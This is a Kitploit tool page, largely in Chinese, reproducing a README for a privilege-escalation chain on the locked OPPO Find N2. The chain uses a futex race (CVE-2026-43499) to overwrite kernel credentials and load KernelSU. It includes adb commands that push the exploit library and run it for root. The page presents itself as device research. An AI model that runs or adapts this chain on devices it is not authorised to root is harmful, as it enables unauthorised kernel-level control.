Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
oppo-ghostlock — OPPO Find N2 GhostLock(CVE-2026-43499)漏洞利用适配 | Kitploit
工具/GitHubGitHub/pubglite55/oppo-ghostlock
Android安全权限提升漏洞利用框架内存取证漏洞分析漏洞利用逆向工程移动安全学习与教育二进制利用
GitHubpubglite55/oppo-ghostlock

oppo-ghostlock

602414014天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OPPO Find N2 GhostLock(CVE-2026-43499)漏洞利用适配

查看仓库

English | 简体中文

findn2-ksu-chain

在已锁定的 OPPO Find N2 上实现 KernelSU 延迟加载——完整链路,自建 LKM,无需解锁引导加载程序。

futex-PI 写入原语 → cred 覆盖 → 修复 ADRP 溢出 → kernelsu.ko 运行

root KMI SoC SELinux


✨ 这是什么

一条完整且可用的研究链路,可将自行编译的 KernelSU 内核模块加载到 出厂状态、OTA 锁定的 OPPO Find N2(PGU110 / SM8475) 中——最终实现 su -c id → uid=0 … context=u:r:ksu:s0,同时 SELinux 保持 Enforcing 状态。

lkm-build/ 中的所有内容(加载器、符号墙 shim、构建系统)均为本仓库的原创 工作;用户态漏洞利用是 matisse 框架的 GPL-3.0 移植版本,已适配 此设备(参见 NOTICE)。

🏗️ 工作原理

 ① futex PI requeue race      →  kernel write primitive  (GhostLock, CVE-2026-43499)
 ② task->cred = &init_cred    →  CapEff 0000000000000000 → 000001ffffffffff
 ③ gate check                 →  capable() ✓ SELinux ✓ domain ✓  (the wall was never here)
 ④ finit_module               →  R_AARCH64_ADR_PREL_PG_HI21 overflow  ← the real wall
                                fixed by -mcmodel=large: reloc-275 1497 → 0
 ⑤ kernelsu.ko live           →  /system/bin/su · u:r:ksu:s0 · SELinux Enforcing

📊 结果

写入原语在设备上观察到 CapEff: 000001ffffffffff(3/3 次运行)
重定位修复type-275 计数 1497 → 0(已验证 ELF .rela 直方图)
符号墙TRIM_UNUSED_KSYMS 削减了 49 个符号 → kprobe 引导 + 前向定义 → 0 个未定义
SCM 门控scmversion 固定为 g74d132f4467a,字节精确
稳定性预检门控 + 减压配方;最终运行时间 27h+ 零崩溃

🚀 快速开始

构建与运行(点击展开)
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
#    or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
    bash lkm-build/build-lkm.sh

# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id"   # uid=0

# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/

# 4) verify
adb shell "su -c id"                     # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules"  # kernelsu … Live

📁 仓库结构图

exploit-v29/     userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/       ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/  ELF / symbol / offset tooling
test-programs/   standalone PoC probes (C sources only)
docs/            research notes · evidence logs · handoff snapshots
RESEARCH.md      ★ full technical write-up (§1–§10)

📜 完整故事

每一个死胡同、dmesg 输出行和修复方案都记录在 RESEARCH.md 中—— 包括为什么权限门从来都不是问题、ADRP 溢出是如何被发现 并消除的,以及 5.10.246 OTA 之后发生了什么变化。

🙏 致谢

  • NebuSec/CyberMeowfia — GhostLock (CVE-2026-43499) 研究与漏洞利用框架
  • ihamn/matisse-public (GPL-3.0) — exploit-v29/ 的上游项目
  • Dere3046/ElevateMe — rb_erase 凭据覆写机制
  • JoinChang/ghostlock-oneplus — 同 SoC 偏移交叉验证
  • DirtyFrag / DFRoot 社区 (CVE-2026-43284) — 仅思路(page-cache 清理、 DEFEX 桩、STATIC_USERMODEHELPER 绕过);未取用任何代码 — lkm-build/minload/ 为原创实现,对比见 RESEARCH.md §8
  • lspromise 与看雪社区讨论

⚖️ 许可证与免责声明

  • lkm-build/、文档、脚本:GPL-2.0-only · exploit-v29/:GPL-3.0(上游)
  • 仅供研究/教育用途,在您自己的设备上使用,风险自负。变砖、数据丢失和 保修失效都是真实存在的可能性。本仓库不包含任何 OPPO 专有固件。
下载工具